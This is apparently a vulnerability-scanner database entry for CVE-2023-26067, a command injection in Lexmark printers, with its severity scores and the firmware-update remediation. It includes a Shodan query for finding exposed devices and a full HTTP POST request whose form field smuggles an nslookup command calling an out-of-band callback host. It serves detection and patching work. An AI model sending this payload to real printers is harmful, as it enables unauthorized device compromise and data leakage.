| Title | Lexmark Printers - Command Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device. |
| Remediation | Apply the latest firmware update provided by Lexmark to mitigate the command injection vulnerability. |
| CVSS Score | 8.1 |
| EPSS Score | 0.92175 |
| CVE ID | CVE-2023-26067 |
| CWE ID | CWE-20 |
| Shodan Query | Server: Lexmark_Web_Serverserver: lexmark_web_server |
| Tags | cve2023 cve printer iot lexmark vkev vuln |
Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).
POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 75
Accept-Encoding: gzip, deflate
FT_Custom_lbtrace=$(nslookup d5jkmnple0o3745lu9dgb7rg313z6qt5e.oast.online)
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26067.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26067.pcap
N/AN/A